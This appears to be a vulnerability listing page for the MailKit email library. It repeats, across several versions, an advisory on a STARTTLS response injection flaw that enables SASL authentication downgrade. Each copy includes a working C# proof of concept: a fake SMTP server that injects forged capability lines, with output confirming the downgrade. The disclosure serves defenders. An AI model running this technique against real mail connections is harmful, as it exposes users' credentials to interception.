MailKit

Version	Released
`4.18.0` minor	Sep 13, 2026
`4.17.0` minor	May 26, 2026
`4.16.0` minor	Apr 15, 2026
`4.15.1` patch 1 CVE	Mar 05, 2026
`4.15.0` minor 1 CVE	Feb 15, 2026
`4.14.1` patch 1 CVE	Oct 13, 2025
`4.14.0` minor 1 CVE	Sep 28, 2025
`4.13.0` minor 1 CVE	Jun 25, 2025
`4.12.1` patch 1 CVE	May 17, 2025
`4.12.0` minor 1 CVE	Apr 29, 2025
`4.11.0` minor 1 CVE	Mar 09, 2025
`4.10.0` minor 1 CVE	Jan 26, 2025
`4.9.0` minor 1 CVE	Dec 10, 2024
`4.8.0` minor 1 CVE	Sep 29, 2024
`4.7.1.1` patch 1 CVE	Jul 15, 2024
`4.7.1` patch 1 CVE	Jul 12, 2024
`4.7.0` minor 1 CVE	Jun 29, 2024
`4.6.0` minor 1 CVE	May 17, 2024
`4.5.0` minor 1 CVE	Apr 13, 2024
`4.4.0` minor 1 CVE	Mar 02, 2024
`4.3.0` minor 1 CVE	Nov 11, 2023
`4.2.0` minor 1 CVE	Sep 02, 2023
`4.1.0` minor 1 CVE	Jun 17, 2023
`4.0.0` major 1 CVE	Apr 15, 2023
`3.6.0` minor 1 CVE	Mar 04, 2023
`3.5.0` minor 1 CVE	Jan 28, 2023
`3.4.3` patch 1 CVE	Nov 25, 2022
`3.4.2` patch 1 CVE	Oct 24, 2022
`3.4.1` patch 1 CVE	Sep 12, 2022
`3.4.0` minor 1 CVE	Sep 05, 2022
`3.3.0` minor 1 CVE	Jun 12, 2022
`3.2.0` minor 1 CVE	Mar 26, 2022
`3.1.1` patch 1 CVE	Jan 30, 2022
`3.1.0` minor 1 CVE	Jan 15, 2022
`3.0.0` major 1 CVE	Dec 11, 2021
`2.15.0` minor 1 CVE	Aug 19, 2021
`2.14.0` minor 1 CVE	Jul 28, 2021
`2.13.0` minor 1 CVE	Jun 12, 2021
`2.12.0` minor 1 CVE	May 12, 2021
`2.11.1` patch 1 CVE	Mar 16, 2021
`2.11.0` minor 1 CVE	Mar 12, 2021
`2.10.1` patch 1 CVE	Jan 02, 2021
`2.10.0` minor 1 CVE	Nov 21, 2020
`2.9.0` minor 1 CVE	Sep 12, 2020
`2.8.0` minor 1 CVE	Jul 11, 2020
`2.7.0` minor 1 CVE	May 30, 2020
`2.6.0` minor 1 CVE	Apr 04, 2020
`2.5.2` patch 1 CVE	Mar 14, 2020
`2.5.1` patch 1 CVE	Feb 15, 2020
`2.5.0` minor 1 CVE	Jan 18, 2020

4.18.0 minor

Sep 13, 2026

4.17.0 minor

May 26, 2026

4.16.0 minor

Apr 15, 2026

4.15.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 05, 2026

4.15.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Feb 15, 2026

4.14.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Oct 13, 2025

4.14.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
